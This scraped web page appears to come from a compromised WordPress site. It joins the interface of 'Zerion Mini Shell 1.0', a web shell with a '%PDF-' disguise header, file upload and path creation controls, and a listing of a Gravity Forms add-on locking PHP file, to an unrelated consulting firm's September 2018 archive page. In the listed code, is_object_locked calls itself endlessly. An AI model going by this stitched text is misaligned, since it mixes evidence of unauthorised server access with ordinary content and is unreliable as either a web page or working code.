%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /dom329039/wp-content/plugins/gravityforms/includes/addon/
Upload File :
Create Path :
Current File : /dom329039/wp-content/plugins/gravityforms/includes/addon/class-gf-addon-locking.php

<?php

if ( ! class_exists( 'GFForms' ) ) {
	die();
}

class GFAddonLocking extends GFLocking {
	protected $_strings;
	/* @var GFAddOn $_addon */
	protected $_addon;

	/**
	 * e.g.
	 *
	 *  array(
	 *     "object_type" => 'contact',
	 *     "capabilities" => array("gravityforms_contacts_edit_contacts"),
	 *     "redirect_url" => admin_url("admin.php?page=gf_contacts"),
	 *     "edit_url" => admin_url(sprintf("admin.php?page=gf_contacts&id=%d", $contact_id)),
	 *     "strings" => $strings
	 *     );
	 *
	 * @param array $config
	 * @param GFAddOn $addon
	 */
	public function __construct( $config, $addon ) {
		$this->_addon   = $addon;
		$capabilities   = isset( $config['capabilities'] ) ? $config['capabilities'] : array();
		$redirect_url   = isset( $config['redirect_url'] ) ? $config['redirect_url'] : '';
		$edit_url       = isset( $config['edit_url'] ) ? $config['edit_url'] : '';
		$object_type    = isset( $config['object_type'] ) ? $config['object_type'] : '';
		$this->_strings = isset( $config['strings'] ) ? $config['strings'] : array();
		parent::__construct( $object_type, $redirect_url, $edit_url, $capabilities );
	}

	public function get_strings() {
		return array_merge( parent::get_strings(), $this->_strings );
	}

	protected function is_edit_page() {
		return $this->_addon->is_locking_edit_page();
	}

	protected function is_list_page() {
		return $this->_addon->is_locking_list_page();
	}

	protected function is_view_page() {
		return $this->_addon->is_locking_view_page();
	}

	protected function get_object_id() {
		return $this->_addon->get_locking_object_id();
	}

	protected function is_object_locked( $object_id ) {
		return $this->is_object_locked( $object_id );
	}
}

Zerion Mini Shell 1.0
September 2018 - GMH Consulting Group LLC Skip to content

GMH CONSULTING GROUP LLC

  • Home
  • Services
  • Customer Success Stories
  • Contact Us
×
  • Home
  • Services
  • Customer Success Stories
  • Contact Us
  • Home
  • Services
  • Customer Success Stories
  • Contact Us
  • Home
  • Services
  • Customer Success Stories
  • Contact Us

GMH CONSULTING GROUP LLC

Archive for September 2018

SAP Cloud Integration Platform

By pwsadmin |
A picture of the sap logo on a computer screen.

Browse Projects Accomplished by Our Consulting Team

Read More

Recent Posts

  • Advantages of mRNA Vaccines
  • Digitalization of Vaccines Enabled by S/4 HANA
  • SAP Cloud Integration Platform

Recent Comments

No comments to show.
SITE LINKS
  • Home
  • Services
  • Customer Success Stories
  • Contact Us
CONNECT WITH US
CONTACT INFORMATION

Phone: (813) 808-5570

Email: gustavohidalgo@gmhconsultinggroup.com 

 

A logo of the gmh consulting group
SITE LINKS
  • Home
  • Services
  • Customer Success Stories
  • Contact Us
CONNECT WITH US
CONTACT INFORMATION

Phone: (813) 808-5570

Email: gustavohidalgo@gmhcgroup.com

A logo of the gmh consulting group

© 2026 GMH Consulting Group LLC. All Rights Reserved.

Scroll To Top